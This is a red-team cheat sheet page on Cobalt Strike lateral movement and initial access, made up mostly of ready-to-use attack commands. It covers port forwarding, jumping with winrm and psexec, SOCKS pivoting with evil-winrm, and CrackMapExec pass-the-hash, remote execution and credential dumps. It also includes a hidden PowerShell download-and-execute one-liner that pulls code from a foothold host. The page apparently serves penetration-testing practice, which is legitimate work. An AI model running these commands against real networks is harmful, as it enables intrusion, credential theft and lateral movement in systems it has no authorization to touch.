Cobalt Strike

Lateral Movement 
Initial Access
Use HTTP listener and scripted web delivery 
General Lateral Movment 
Set up an SMB listener and use that when moving with jump command
HTTP Shells
Set up a HTTP listener
HTTP host is the first target compromised (foothold machine) 
HTTP Host (Stager) same as above
HTTP Port (C2) is 443
On foothold machine port forward to teamserver
rportfwd 443 <teamserver> 443
On foothold machine jump across
jump winrm <target> <HTTP listener above>
​
For further hops new listeners and portfwrds need to occur for any machine that cant talk to the foothold directly
Double Hop 
When going over winrm and psexec you may encounter double hop issues same as usual.
jump psexec 127.0.0.1 SMB
​
# After this use spawned session
Evil Winrm
Useful for when you need to pipe through a box that you cant get a beacon on. E.g. applocker 
Have HTTP listener set up as above (for this named redir) with rportfwd
Set up scripted web delivery 
Local Host = Foothold
Local port = 443 
Listener = redir 
Type = powershell x64
SOCKS proxy through foothold 
socks 9051
Use evil-winrm (https://github.com/Hackplayers/evil-winrm)
proxychains evil-winrm -i <ip> -u Domain\username -p 'Password'
Pass creds and launch scripted web delivery on target2
$password = "Password" | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential("Domain\Username",$password); invoke-command -computername TARGET2 -Credential $cred -scriptblock {powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://FOOTHOLDIP:443/pivtest'))"}​
Keep WINRM alive for session to stay alive (or migrate to another process)
CrackMapExec
​https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference​
Socks Proxy through as before
# Test login and get hostname 
crackmapexec smb <IP> -u <username> -p <password> [-d <domain>] [--local-auth]
​
# Pass the hash
crackmapexec smb <IP> -u <username> -H <hash>
​
# Execute Commands
crackmapexec -u <username> -p <password> -x whoami [--exec-method wmiexec/smbexec/atexec]
​
# Dumps
crackmapexec smb <ip> -u <username> -p <password> [--lsa] [--sam] [--ntds [vss]]
Dll
rundll32 C:\beacon.dll,Start
Passing Powershell creds
$password = "Password123" | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential("Domain\User",$password); invoke-command -computername 192.168.144.197 -Credential $cred -scriptblock {whoami}
General Tips
Make_token is only for cleartext passwords
Rubeus asktgt doesnt work so well with the /domain flag set

Red Teaming - Previous

Phishing Payloads

Next - Red Teaming

Metasploit

Last modified 2yr ago

Copy link

On this page

Lateral Movement

Initial Access

General Lateral Movment

HTTP Shells

Double Hop

Evil Winrm

CrackMapExec

Dll

Passing Powershell creds

General Tips